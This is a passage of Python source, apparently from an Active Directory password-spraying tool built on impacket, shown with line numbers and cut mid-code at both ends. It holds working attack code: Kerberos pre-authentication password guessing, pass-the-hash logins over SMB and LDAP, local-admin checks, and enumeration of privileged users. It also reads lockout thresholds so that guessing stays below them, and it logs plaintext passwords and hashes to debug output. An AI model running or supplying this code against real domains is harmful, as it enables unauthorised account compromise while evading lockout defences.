(%s:%s)" % (targetHost, 88), e) 125 | s.send(data) 126 | r = s.recv(8192) 127 | # we want the server time 128 | for i in decoder.decode(r): 129 | if type(i) == Sequence: 130 | for k in vars(i)["_componentValues"]: 131 | if type(k) == GeneralizedTime: 132 | self.server_time = datetime.datetime.strptime(k.asOctets().decode("utf-8"), "%Y%m%d%H%M%SZ") 133 | try: 134 | krbError = KerberosError(packet=decoder.decode(r, asn1Spec=KRB_ERROR())[0]) 135 | except: 136 | return r 137 | if krbError.getErrorCode() != constants.ErrorCodes.KDC_ERR_PREAUTH_REQUIRED.value: 138 | raise krbError 139 | return r 140 | 141 | 142 | def get_users_salts(self, target, domain, user, rc4_key, etype, tproto): 143 | logger.debug("Getting Kerberos salts for %s through an AS-REQ" % user) 144 | asReq = AS_REQ() 145 | 146 | domain = domain.upper() 147 | serverName = Principal("krbtgt/%s" % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) 148 | clientName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) 149 | 150 | # need to remove the PAC request for UDP to work and not have the KDC throw KRB_ERR_RESPONSE_TOO_BIG 151 | # pacRequest = KERB_PA_PAC_REQUEST() 152 | # pacRequest["include-pac"] = True 153 | # encodedPacRequest = encoder.encode(pacRequest) 154 | 155 | asReq["pvno"] = 5 156 | asReq["msg-type"] = int(constants.ApplicationTagNumbers.AS_REQ.value) 157 | 158 | # asReq["padata"] = noValue 159 | # asReq["padata"][0] = noValue 160 | # asReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) 161 | # asReq["padata"][0]["padata-value"] = encodedPacRequest 162 | 163 | reqBody = seq_set(asReq, "req-body") 164 | 165 | opts = list() 166 | opts.append(constants.KDCOptions.forwardable.value) 167 | opts.append(constants.KDCOptions.renewable.value) 168 | opts.append(constants.KDCOptions.proxiable.value) 169 | reqBody["kdc-options"] = constants.encodeFlags(opts) 170 | 171 | seq_set(reqBody, "sname", serverName.components_to_asn1) 172 | seq_set(reqBody, "cname", clientName.components_to_asn1) 173 | 174 | if domain == "": 175 | raise Exception("Empty Domain not allowed in Kerberos") 176 | 177 | reqBody["realm"] = domain 178 | 179 | now = datetime.datetime.utcnow() + datetime.timedelta(days=1) 180 | reqBody["till"] = KerberosTime.to_asn1(now) 181 | reqBody["rtime"] = KerberosTime.to_asn1(now) 182 | reqBody["nonce"] = random.getrandbits(31) 183 | 184 | if rc4_key == b"" or rc4_key is None: 185 | if etype == "rc4": 186 | supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),) 187 | elif etype == "aes128": 188 | supportedCiphers = (int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),) 189 | elif etype == "aes256": 190 | supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),) 191 | else: 192 | supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),) 193 | 194 | seq_set_iter(reqBody, "etype", supportedCiphers) 195 | 196 | message = encoder.encode(asReq) 197 | 198 | try: 199 | r = self.send_receive(data=message, host=domain, kdcHost=target, tproto=tproto) 200 | except Exception as e: 201 | if str(e).find("KDC_ERR_ETYPE_NOSUPP") >= 0: 202 | logger.error("Kerberos throws ETYPE_NOSUPP, try setting another with --etype") 203 | elif str(e).find("KDC_ERR_CLIENT_REVOKED") >= 0: 204 | logger.debug("User (%s) is disabled, adding to the list" % user) 205 | self.disabled_account.append(user) 206 | elif str(e).find("KDC_ERR_C_PRINCIPAL_UNKNOWN") >= 0: 207 | logger.debug("User (%s) doesn't exist, adding to the list" % user) 208 | self.principal_unknown.append(user) 209 | else: 210 | logger.debug("Something went wrong: %s" % e) 211 | return False 212 | 213 | # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the 214 | # "Do not require Kerberos preauthentication" set 215 | try: 216 | asRep = decoder.decode(r, asn1Spec=KRB_ERROR())[0] 217 | except: 218 | # Most of the times we shouldn't be here, is this a TGT? 219 | asRep = decoder.decode(r, asn1Spec=AS_REP())[0] 220 | 221 | encryptionTypesData = dict() 222 | methods = decoder.decode(asRep["e-data"], asn1Spec=METHOD_DATA())[0] 223 | for method in methods: 224 | if method["padata-type"] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value: 225 | etypes2 = decoder.decode(method["padata-value"], asn1Spec=ETYPE_INFO2())[0] 226 | for etype2 in etypes2: 227 | try: 228 | if etype2["salt"] is None or etype2["salt"].hasValue() is False: 229 | salt = "" 230 | else: 231 | salt = etype2["salt"].prettyPrint() 232 | except PyAsn1Error: 233 | salt = "" 234 | 235 | encryptionTypesData[etype2["etype"]] = b(salt) 236 | elif method["padata-type"] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO.value: 237 | etypes = decoder.decode(method["padata-value"], asn1Spec=ETYPE_INFO())[0] 238 | for etype in etypes: 239 | try: 240 | if etype["salt"] is None or etype["salt"].hasValue() is False: 241 | salt = "" 242 | else: 243 | salt = etype["salt"].prettyPrint() 244 | except PyAsn1Error: 245 | salt = "" 246 | 247 | encryptionTypesData[etype["etype"]] = b(salt) 248 | return encryptionTypesData 249 | 250 | 251 | def pre_authentication(self, target, domain, user, password, etype, tproto, rc4_key=""): 252 | if user in self.principal_unknown: 253 | return False, "" 254 | elif user in self.disabled_account: 255 | return True, "disabled" 256 | else: 257 | # modified code from impacket/krb5/kerberosv5.py 258 | if isinstance(rc4_key, str): 259 | try: 260 | rc4_key = unhexlify(rc4_key) 261 | except TypeError: 262 | pass 263 | 264 | 265 | if rc4_key == b"" or rc4_key is None: 266 | if etype == "rc4": 267 | supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),) 268 | logger.debug("Logging in with domain, user, rc4 key for password (%s, %s, %s)" % (domain, user, password)) 269 | elif etype == "aes128": 270 | supportedCiphers = (int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),) 271 | logger.debug("Logging in with domain, user, aes128 key for password (%s, %s, %s)" % (domain, user, password)) 272 | elif etype == "aes256": 273 | supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),) 274 | logger.debug("Logging in with domain, user, aes256 key for password (%s, %s, %s)" % (domain, user, password)) 275 | else: 276 | supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),) 277 | logger.debug("Logging in with domain, user, rc4 key (%s, %s, %s)" % (domain, user, rc4_key)) 278 | 279 | enc_type = supportedCiphers[0] 280 | cipher = _enctype_table[enc_type] 281 | 282 | # Pass the hash/aes key :P 283 | if rc4_key != b"" and isinstance(rc4_key, bytes): 284 | key = Key(cipher.enctype, rc4_key) 285 | else: 286 | if etype == "rc4": 287 | key = Key(cipher.enctype, compute_nthash(password)) 288 | else: 289 | if user in self.salts.keys(): 290 | salts = self.salts[user] 291 | else: 292 | salts = self.get_users_salts(target=target, domain=domain, user=user, rc4_key=rc4_key, etype=etype, tproto=tproto) 293 | # usually, salts are DOMAINuser, however, on Domain Controllers that went through a domain name change, fetching user slats is required 294 | # salts = {enc_type: "%s%s" % (domain.upper(), user)} 295 | if user in self.principal_unknown: 296 | return False, "" 297 | elif user in self.disabled_account: 298 | return False, "disabled" 299 | if not salts: 300 | logger.debug("Couldn't get salts for %s" % user) 301 | return False, "" 302 | else: 303 | self.salts[user] = salts 304 | logger.debug("Using salt: %s" % salts[enc_type].decode("utf-8")) 305 | key = cipher.string_to_key(password, salts[enc_type], None) 306 | 307 | # Let's build the timestamp 308 | timeStamp = PA_ENC_TS_ENC() 309 | 310 | now = datetime.datetime.utcnow() 311 | timeStamp["patimestamp"] = KerberosTime.to_asn1(now) 312 | timeStamp["pausec"] = now.microsecond 313 | 314 | # Encrypt the shyte 315 | encodedTimeStamp = encoder.encode(timeStamp) 316 | 317 | # Key Usage 1 318 | # AS-REQ PA-ENC-TIMESTAMP padata timestamp, encrypted with the 319 | # client key (Section 5.2.7.2) 320 | encryptedTimeStamp = cipher.encrypt(key, 1, encodedTimeStamp, None) 321 | 322 | encryptedData = EncryptedData() 323 | encryptedData["etype"] = cipher.enctype 324 | encryptedData["cipher"] = encryptedTimeStamp 325 | encodedEncryptedData = encoder.encode(encryptedData) 326 | 327 | asReq = AS_REQ() 328 | 329 | domain = domain.upper() 330 | serverName = Principal("krbtgt/%s" % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) 331 | clientName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) 332 | 333 | asReq["pvno"] = 5 334 | asReq["msg-type"] = int(constants.ApplicationTagNumbers.AS_REQ.value) 335 | 336 | asReq["padata"] = noValue 337 | asReq["padata"][0] = noValue 338 | asReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_ENC_TIMESTAMP.value) 339 | asReq["padata"][0]["padata-value"] = encodedEncryptedData 340 | 341 | reqBody = seq_set(asReq, "req-body") 342 | 343 | opts = list() 344 | opts.append( constants.KDCOptions.forwardable.value ) 345 | opts.append( constants.KDCOptions.renewable.value ) 346 | opts.append( constants.KDCOptions.proxiable.value ) 347 | reqBody["kdc-options"] = constants.encodeFlags(opts) 348 | 349 | seq_set(reqBody, "sname", serverName.components_to_asn1) 350 | seq_set(reqBody, "cname", clientName.components_to_asn1) 351 | 352 | reqBody["realm"] = domain 353 | 354 | now = datetime.datetime.utcnow() + datetime.timedelta(days=1) 355 | reqBody["till"] = KerberosTime.to_asn1(now) 356 | reqBody["rtime"] = KerberosTime.to_asn1(now) 357 | reqBody["nonce"] = random.getrandbits(31) 358 | 359 | seq_set_iter(reqBody, "etype", (int(cipher.enctype),)) 360 | 361 | try: 362 | tgt = self.send_receive(data=encoder.encode(asReq), host=domain, kdcHost=target, tproto=tproto) 363 | if tgt is not None: 364 | return True, "" 365 | except Exception as e: 366 | if str(e).find("KDC_ERR_ETYPE_NOSUPP") >= 0: 367 | logger.error("Kerberos throws ETYPE_NOSUPP, try setting another with --etype") 368 | elif str(e).find("KDC_ERR_CLIENT_REVOKED") >= 0: 369 | logger.debug("User (%s) is disabled, adding to the list" % user) 370 | self.disabled_account.append(user) 371 | return False, "disabled" 372 | elif str(e).find("KRB_ERR_RESPONSE_TOO_BIG") >= 0: 373 | logger.debug("Raised KRB_ERR_RESPONSE_TOO_BIG for User (%s), adding to the list" % user) 374 | self.response_to_big.append(user) 375 | return False, "KRB_ERR_RESPONSE_TOO_BIG" 376 | elif str(e).find("KDC_ERR_C_PRINCIPAL_UNKNOWN") >= 0: 377 | logger.debug("User (%s) doesn't exist, adding to the list" % user) 378 | self.principal_unknown.append(user) 379 | elif str(e).find("KRB_AP_ERR_SKEW") >= 0: 380 | logger.debug("Raised KRB_AP_ERR_SKEW for User (%s), there is a time skew between the client and the server, adding to the list" % user) 381 | return False, "KRB_AP_ERR_SKEW" 382 | else: 383 | logger.debug("Something went wrong: %s" % e) 384 | return False, "" 385 | 386 | 387 | def LDAP_authentication(self, kdc_ip, tls_version, domain, user, password, rc4_key, aes_key, ccache_ticket, dc_host): 388 | # todo : check LDAP or LDAPS is open before connecting, if port is closed, ask the user if he's sure he's testing a domain controller 389 | 390 | if user is None: 391 | user = "" 392 | if domain is None: 393 | domain = "" 394 | if tls_version is not None: 395 | use_ssl = True 396 | port = 636 397 | tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version) 398 | else: 399 | use_ssl = False 400 | port = 389 401 | tls = None 402 | 403 | if ccache_ticket is not None: 404 | pass 405 | 406 | if isinstance(rc4_key, str): 407 | try: 408 | rc4_key = unhexlify(rc4_key) 409 | except TypeError: 410 | pass 411 | 412 | TGT = None 413 | TGS = None 414 | 415 | if ccache_ticket is not None: 416 | try: 417 | ccache = CCache.loadFile(ccache_ticket) 418 | except Exception as e: 419 | # No cache present 420 | logger.error(e) 421 | pass 422 | else: 423 | # retrieve domain information from CCache file if needed 424 | if domain == "": 425 | domain = ccache.principal.realm["data"].decode("utf-8") 426 | logger.debug("Domain retrieved from CCache: %s" % domain) 427 | 428 | if not dc_host: 429 | target = self.get_machine_name(kdc_ip, domain) 430 | else: 431 | target = dc_host 432 | 433 | logger.debug("Using Kerberos Cache: %s" % ccache_ticket) 434 | principal = "ldap/%s@%s" % (target.upper(), domain.upper()) 435 | 436 | creds = ccache.getCredential(principal) 437 | if creds is None: 438 | # Let's try for the TGT and go from there 439 | principal = "krbtgt/%s@%s" % (domain.upper(), domain.upper()) 440 | creds = ccache.getCredential(principal) 441 | if creds is not None: 442 | TGT = creds.toTGT() 443 | logger.debug("Using TGT from cache") 444 | else: 445 | logger.debug("No valid credentials found in cache") 446 | else: 447 | TGS = creds.toTGS(principal) 448 | logger.debug("Using TGS from cache") 449 | 450 | # retrieve user information from CCache file if needed 451 | if user == "" and creds is not None: 452 | user = creds["client"].prettyPrint().split(b"@")[0].decode("utf-8") 453 | logger.debug("Username retrieved from CCache: %s" % user) 454 | elif user == "" and len(ccache.principal.components) > 0: 455 | user = ccache.principal.components[0]["data"].decode("utf-8") 456 | logger.debug("Username retrieved from CCache: %s" % user) 457 | else: 458 | if not dc_host: 459 | target = self.get_machine_name(kdc_ip, domain) 460 | else: 461 | target = dc_host 462 | 463 | # First of all, we need to get a TGT for the user 464 | userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) 465 | if TGT is None: 466 | if TGS is None: 467 | tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(clientName=userName, password=password, domain=domain, lmhash=None, nthash=rc4_key, aesKey=aes_key, kdcHost=kdc_ip) 468 | else: 469 | tgt = TGT["KDC_REP"] 470 | cipher = TGT["cipher"] 471 | sessionKey = TGT["sessionKey"] 472 | 473 | if TGS is None: 474 | serverName = Principal("ldap/%s" % target, type=constants.PrincipalNameType.NT_SRV_INST.value) 475 | tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName=serverName, kdcHost=kdc_ip, domain=domain, tgt=tgt, cipher=cipher, sessionKey=sessionKey) 476 | else: 477 | tgs = TGS["KDC_REP"] 478 | cipher = TGS["cipher"] 479 | sessionKey = TGS["sessionKey"] 480 | 481 | # Let's build a NegTokenInit with a Kerberos REQ_AP 482 | 483 | blob = SPNEGO_NegTokenInit() 484 | 485 | # Kerberos 486 | blob["MechTypes"] = [TypesMech["MS KRB5 - Microsoft Kerberos 5"]] 487 | 488 | # Let's extract the ticket from the TGS 489 | tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] 490 | ticket = Ticket() 491 | ticket.from_asn1(tgs["ticket"]) 492 | 493 | # Now let's build the AP_REQ 494 | apReq = AP_REQ() 495 | apReq["pvno"] = 5 496 | apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value) 497 | 498 | opts = [] 499 | apReq["ap-options"] = constants.encodeFlags(opts) 500 | seq_set(apReq, "ticket", ticket.to_asn1) 501 | 502 | authenticator = Authenticator() 503 | authenticator["authenticator-vno"] = 5 504 | authenticator["crealm"] = domain 505 | seq_set(authenticator, "cname", userName.components_to_asn1) 506 | now = datetime.datetime.utcnow() 507 | 508 | authenticator["cusec"] = now.microsecond 509 | authenticator["ctime"] = KerberosTime.to_asn1(now) 510 | 511 | encodedAuthenticator = encoder.encode(authenticator) 512 | 513 | # Key Usage 11 514 | # AP-REQ Authenticator (includes application authenticator 515 | # subkey), encrypted with the application session key 516 | # (Section 5.5.1) 517 | encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) 518 | 519 | apReq["authenticator"] = noValue 520 | apReq["authenticator"]["etype"] = cipher.enctype 521 | apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator 522 | 523 | blob["MechToken"] = encoder.encode(apReq) 524 | 525 | if tls_version is not None: 526 | ldap_connection = ldap.LDAPConnection("ldaps://%s" % target, dstIp=kdc_ip) 527 | else: 528 | ldap_connection = ldap.LDAPConnection("ldap://%s" % target, dstIp=kdc_ip) 529 | 530 | bindRequest = ldapasn1.BindRequest() 531 | bindRequest["version"] = 3 532 | bindRequest["name"] = user 533 | bindRequest["authentication"]["sasl"]["mechanism"] = "GSS-SPNEGO" 534 | bindRequest["authentication"]["sasl"]["credentials"] = blob.getData() 535 | response = ldap_connection.sendReceive(bindRequest)[0]["protocolOp"] 536 | 537 | if response["bindResponse"]["resultCode"] != ldapasn1.ResultCode("success"): 538 | raise ldap.LDAPSessionError( 539 | errorString="Error in bindRequest -> %s: %s" % (response["bindResponse"]["resultCode"].prettyPrint(), 540 | response["bindResponse"]["diagnosticMessage"]) 541 | ) 542 | 543 | return ldap_connection 544 | 545 | 546 | class NTLM(object): 547 | """docstring for NTLM.""" 548 | 549 | def __init__(self): 550 | super(NTLM, self).__init__() 551 | 552 | 553 | def is_local_admin(self, smb_connection, target): 554 | # https://github.com/SecureAuthCorp/impacket/blob/a16198c3312d8cfe25b329907b16463ea3143519/impacket/examples/ntlmrelayx/clients/smbrelayclient.py#L606-L622 555 | rpc_transport = SMBTransport(remoteName=smb_connection.getRemoteHost(), dstport=445, filename=r"\svcctl", smb_connection=smb_connection) 556 | dce = rpc_transport.get_dce_rpc() 557 | try: 558 | dce.connect() 559 | except: 560 | pass 561 | else: 562 | dce.bind(scmr.MSRPC_UUID_SCMR) 563 | try: 564 | # 0xF003F - SC_MANAGER_ALL_ACCESS 565 | # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx 566 | ans = scmr.hROpenSCManagerW(dce, "{}\x00".format(target), "ServicesActive\x00", 0xF003F) 567 | return True 568 | except scmr.DCERPCException as e: 569 | pass 570 | return False 571 | 572 | 573 | def SMB_authentication(self, target, domain, user, password, nt_hash): 574 | 575 | """Returns a tuple (smb_connection, details) 576 | 577 | :return: a tuple with the smb_connection and a string (error or specific information regarding the account) 578 | """ 579 | if target == "": 580 | logger.error("No target was set. Set a domain with -d/--domain or a target with --dc-ip.") 581 | exit(0) 582 | try: 583 | logger.debug("Connecting to smb://%s on port 445" % target) 584 | smb_connection = SMBConnection(target, target, None, "445", timeout=15) 585 | except socket.error: 586 | return False, "" 587 | except Exception as e: 588 | logger.error("Error connection to the target. Try to set -p/--protocol to LDAP.") 589 | exit(0) 590 | # return False, "" 591 | if nt_hash is None: 592 | nt_hash = "" 593 | try: 594 | logger.debug("Logging in with domain, user, password, nt_hash (%s, %s, %s, %s)" % (domain, user, password, nt_hash)) 595 | smb_connection.login(domain=domain, user=user, password=password, nthash=nt_hash) 596 | if self.is_local_admin(smb_connection=smb_connection, target=target): 597 | return smb_connection, "local admin" 598 | else: 599 | return smb_connection, "" 600 | except SessionError as e: 601 | error, description = e.getErrorString() 602 | if error in smb_error_status.keys(): 603 | return None, error 604 | else: 605 | return False, "" 606 | 607 | 608 | def LDAP_authentication(self, tls_version, target, domain, user, password, lm_hash, nt_hash): 609 | # todo : check LDAP or LDAPS is open before connecting, if port is closed, ask the user if he's sure he's testing a domain controller 610 | if nt_hash is None: 611 | nt_hash = "" 612 | if lm_hash is None: 613 | lm_hash = "" 614 | 615 | try: 616 | if tls_version is not None: 617 | logger.debug("Connecting to ldaps://%s" % target) 618 | ldap_connection = ldap.LDAPConnection(url="ldaps://%s" % target) 619 | else: 620 | logger.debug("Connecting to ldap://%s" % target) 621 | ldap_connection = ldap.LDAPConnection(url="ldap://%s" % target) 622 | 623 | logger.debug("Logging in with domain, user, password, lm_hash, nt_hash (%s, %s, %s, %s, %s)" % (domain, user, password, lm_hash, nt_hash)) 624 | ldap_connection.login(domain=domain, user=user, password=password, lmhash=lm_hash, nthash=nt_hash) 625 | return ldap_connection 626 | except ldap.LDAPSessionError as e: 627 | logger.debug("Triggered exception on a LDAP session error") 628 | if "strongerAuthRequired" in str(e): 629 | logger.debug("A stronger auth is required, trying with LDAPS") 630 | try: 631 | logger.debug("Connecting to ldap://%s" % target) 632 | ldap_connection = ldap.LDAPConnection(url="ldaps://%s" % target) 633 | logger.debug("Logging in with domain (%s), user (%s) and password (%s)" % (domain, user, password)) 634 | ldap_connection.login(domain=domain, user=user, password=password, lmhash=lm_hash, nthash=nt_hash) 635 | return ldap_connection 636 | except ldap.LDAPSessionError as e: 637 | logger.debug("Trying LDAPS didn't resolve the LDAP session error, below is the exception") 638 | logger.error(e) 639 | else: 640 | logger.debug("No stronger auth was required, username/password supplied was probably wrong") 641 | return False 642 | 643 | except OSError as e: 644 | if domain is None: 645 | logger.error("Error connecting to the domain, please set option -d/--domain") 646 | else: 647 | logger.error("Error connecting to the domain, please set option --dc-ip with the IP address of the domain controller") 648 | exit(0) 649 | 650 | 651 | class bruteforce(object): 652 | """docstring for bruteforce.""" 653 | 654 | def __init__(self, options, table, neo4j): 655 | super(bruteforce, self).__init__() 656 | self.options = options 657 | self.table = table 658 | self.neo4j = neo4j 659 | self.ntlm = NTLM() 660 | self.kerberos = KERBEROS() 661 | self.global_lockout_threshold = 0 662 | self.granular_lockout_threshold = {} 663 | self.users = {} 664 | self.special_groups = {} 665 | self.admin_users = [] 666 | self.special_users = [] 667 | self.domain_is_dumped = False 668 | 669 | def process_user_record(self, item): 670 | if isinstance(item, ldapasn1.SearchResultEntry) is not True: 671 | return 672 | sAMAccountName = "" 673 | badPwdCount = 0 674 | distinguishedName = "" 675 | try: 676 | for attribute in item["attributes"]: 677 | if str(attribute["type"]) == "sAMAccountName": 678 | # todo : plan to include a --machine-accounts switch to test machine accounts (nota bene: by default, they don't lock out) 679 | # We want to filter out machine accounts 680 | if attribute["vals"][0].asOctets().decode("utf-8").endswith("$") is False: 681 | sAMAccountName = attribute["vals"][0].asOctets().decode("utf-8") 682 | if str(attribute["type"]) == "badPwdCount": 683 | badPwdCount = int(str(attribute["vals"][0])) 684 | if str(attribute["type"]) == "distinguishedName": 685 | distinguishedName = attribute["vals"][0].asOctets().decode("utf-8") 686 | if distinguishedName in self.granular_lockout_threshold.keys(): 687 | lockoutThreshold = self.granular_lockout_threshold[distinguishedName] 688 | else: 689 | lockoutThreshold = self.global_lockout_threshold 690 | self.users[distinguishedName] = {"distinguishedName":distinguishedName, "sAMAccountName":sAMAccountName, "badPwdCount":badPwdCount, "lockoutThreshold":lockoutThreshold} 691 | except Exception as e: 692 | logger.error("Skipping item, cannot process due to error %s" % str(e)) 693 | 694 | 695 | def process_group_record(self, item): 696 | if isinstance(item, ldapasn1.SearchResultEntry) is not True: 697 | return 698 | sAMAccountName = "" 699 | group_type = "" 700 | distinguishedName = "" 701 | try: 702 | for attribute in item["attributes"]: 703 | # print(attribute) 704 | if str(attribute["type"]) == "objectSid": 705 | objectSid = format_sid(attribute["vals"][0].asOctets()) 706 | if objectSid.split("-")[-1] in ["512", "516", "518", "519", "526", "527", "544"]: 707 | group_type = "admin" 708 | elif objectSid.split("-")[-1] in ["520", "547", "548", "549", "551", "552", "582"]: 709 | group_type = "special" 710 | if str(attribute["type"]) == "distinguishedName": 711 | distinguishedName = attribute["vals"][0].asOctets().decode("utf-8") 712 | if str(attribute["type"]) == "sAMAccountName": 713 | sAMAccountName = attribute["vals"][0].asOctets().decode("utf-8") 714 | if group_type in ["admin", "special"]: 715 | self.special_groups[distinguishedName] = {"distinguishedName":distinguishedName, "sAMAccountName":sAMAccountName, "group_type":group_type} 716 | except Exception as e: 717 | logger.error("Skipping item, cannot process due to error %s" % str(e)) 718 | 719 | 720 | def get_privileged_users(self, ldap_connection, domain): 721 | if domain is None or "." not in domain: 722 | logger.error("FQDN Domain is needed to fetch domain information from LDAP") 723 | exit(0) 724 | else: 725 | domain_dn = ",".join(["DC=" + part for part in domain.split(".")]) 726 | 727 | # todo : add argument that makes the user choose a page size and set it for "size" 728 | paged_results_control = ldap.SimplePagedResultsControl(criticality=True, size=200, cookie="") 729 | ldap_connection.search(searchBase=domain_dn, searchFilter="(objectCategory=Group)", attributes=["sAMAccountName", "objectSid", "distinguishedName"], searchControls=[paged_results_control], perRecordCallback=self.process_group_record) 730 | admin_users = [] 731 | special_users = [] 732 | for group_dn in self.special_groups.keys(): 733 | if self.special_groups[group_dn]["group_type"] == "admin": 734 | for user_dn in self.members_dn_from_group_dn(ldap_connection=ldap_connection, object_dn=group_dn): 735 | # group = self.special_groups[group_dn]["sAMAccountName"] 736 | try: 737 | user = self.get_attributes_from_object_dn(ldap_connection=ldap_connection, object_dn=user_dn, attributes=["sAMAccountName"])["sAMAccountName"].decode("utf-8") 738 | admin_users.append(user) 739 | except: 740 | logger.debug("Met some kind of error while trying to get attrs from object dn %s" % user_dn) 741 | elif self.special_groups[group_dn]["group_type"] == "special": 742 | for user_dn in self.members_dn_from_group_dn(ldap_connection=ldap_connection, object_dn=group_dn): 743 | user = self.get_attributes_from_object_dn(ldap_connection=ldap_connection, object_dn=user_dn, attributes=["sAMAccountName"])["sAMAccountName"].decode("utf-8") 744 | special_users.append(user) 745 | self.admin_users = list(set(admin_users)) 746 | self.special_users = list(set(special_users)) 747 | logger.debug("Found %d special/admin users" % len(list(set(admin_users + special_users)))) 748 | 749 | 750 | def get_attributes_from_object_dn(self,ldap_connection, object_dn, attributes): 751 | logger.debug("Fetching attributes for object: %s" % object_dn) 752 | attrs = {} 753 | results = ldap_connection.search(searchBase=object_dn, attributes=attributes) 754 | for result in results: 755 | for attribute in result["attributes"]: 756 | if str(attribute["type"]) in attributes: 757 | if len(attribute["vals"]) > 1: 758 | attrs[str(attribute["type"])] = [] 759 | for i in attribute["vals"]: 760 | attrs[str(attribute["type"])].append(i.asOctets()) 761 | else: 762 | attrs[str(attribute["type"])] = attribute["vals"][0].asOctets() 763 | return attrs 764 | 765 | 766 | def get_users(self, ldap_connection, domain): 767 | if domain is None or "." not in domain: 768 | logger.error("FQDN Domain is needed to fetch domain information from LDAP") 769 | exit(0) 770 | else: 771 | domain_dn = ",".join(["DC=" + part for part in domain.split(".")]) 772 | 773 | # any user that is not disabled 774 | search_filters = "(&(objectCategory=User)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))" 775 | # search_filters = "(objectCategory=User)" 776 | # we want username and attempts left for each account 777 | attributes = ["samAccountName", "badPwdCount", "distinguishedName"] 778 | 779 | # todo : add argument that makes the user choose a page size and set it for "size" 780 | paged_results_control = ldap.SimplePagedResultsControl(criticality=True, size=200, cookie="") 781 | ldap_connection.search(searchBase=domain_dn, searchFilter=search_filters, attributes=attributes, searchControls=[paged_results_control], perRecordCallback=self.process_user_record) 782 | logger.verbose("Found %d users" % len(self.users)) 783 | for user in self.users.keys(): 784 | logger.debug(" %-25s %-15d %-15d %-15s" % (self.users[user]["sAMAccountName"], self.users[user]["badPwdCount"], self.users[user]["lockoutThreshold"], user)) 785 | 786 | 787 | def get_lockout_thresholds(self, ldap_connection, domain): 788 | if domain is None or "." not in domain: 789 | logger.error("FQDN Domain is needed to fetch domain information from LDAP") 790 | exit(0) 791 | else: 792 | domain_dn = ",".join(["DC=" + part for part in domain.split(".")]) 793 | 794 | logger.verbose("Fetching domain level lockout threshold") 795 | try: 796 | results = ldap_connection.search(searchBase=domain_dn, searchFilter="(objectClass=*)", attributes=["lockoutThreshold"], sizeLimit=999) 797 | except ldap.LDAPSearchError as e: 798 | if e.getErrorString().find("sizeLimitExceeded") >= 0: 799 | logger.debug("sizeLimitExceeded exception caught, giving up and processing the data received") 800 | # We reached the sizeLimit, process the answers we have already and that's it. Until we implement 801 | # paged queries 802 | results = e.getAnswers() 803 | self.global_lockout_threshold = int(results[0]["attributes"][0]["vals"][0].asOctets()) 804 | logger.debug("Global lockout threshold %d" % self.global_lockout_threshold) 805 | 806 | logger.verbose("Fetching granular lockout thresholds in Password Settings Containers") 807 | granular_policy_container = "CN=Password Settings Container,CN=System,%s" % domain_dn 808 | granular_policy_filter = "(objectClass=msDS-PasswordSettings)" 809 | granular_policy_attribs = ["msDS-LockoutThreshold", "msDS-PSOAppliesTo"] 810 | try: 811 | results = ldap_connection.search(searchBase=granular_policy_container, searchFilter=granular_policy_filter, attributes=granular_policy_attribs, sizeLimit=999) 812 | except ldap.LDAPSearchError as e: 813 | if e.getErrorString().find("sizeLimitExceeded") >= 0: 814 | logger.debug("sizeLimitExceeded exception caught, giving up and processing the data received") 815 | # We reached the sizeLimit, process the answers we have already and that's it. Until we implement 816 | # paged queries 817 | results = e.getAnswers() 818 | for policy in results: 819 | if isinstance(policy, ldapasn1.SearchResultEntry): 820 | if policy[1][1].hasValue() and str(policy[1][1][0]) == "msDS-PSOAppliesTo": 821 | for element in policy[1][1][1]: 822 | applies_to_dn = element.asOctets().decode("utf-8") 823 | # applies_to_dn = policy[1][1][1][0].asOctets().decode("utf-8") 824 | if str(policy[1][0][0]) == "msDS-LockoutThreshold": 825 | lockout_threshold = int(policy[1][0][1][0].asOctets()) 826 | if self.is_a_group(ldap_connection, applies_to_dn): 827 | members_dn = self.members_dn_from_group_dn(ldap_connection, applies_to_dn) 828 | for member_dn in members_dn: 829 | # todo : precedence is ignored for now, we only take the lower lockout threshold for now to insure 100% "no lockouts" 830 | if member_dn in self.granular_lockout_threshold.keys(): 831 | if lockout_threshold < self.granular_lockout_threshold[member_dn]: 832 | self.granular_lockout_threshold[member_dn] = lockout_threshold 833 | else: 834 | self.granular_lockout_threshold[member_dn] = lockout_threshold 835 | else: 836 | if applies_to_dn in self.granular_lockout_threshold.keys(): 837 | if lockout_threshold < self.granular_lockout_threshold[applies_to_dn]: 838 | self.granular_lockout_threshold[applies_to_dn] = lockout_threshold 839 | else: 840 | self.granular_lockout_threshold[applies_to_dn] = lockout_threshold 841 | else: 842 | logger.error("Something went wrong when parsing policies information...") 843 | exit(0) 844 | else: 845 | if not policy[1][1].hasValue(): 846 | logger.debug("The policy %s wasn't assigned to any group" % policy[0]) 847 | continue 848 | logger.error("Something went wrong when parsing policies information...") 849 | exit(0) 850 | logger.verbose("Found global lockout threshold (%d) and granular lockout thresholds (%s)" % (self.global_lockout_threshold, 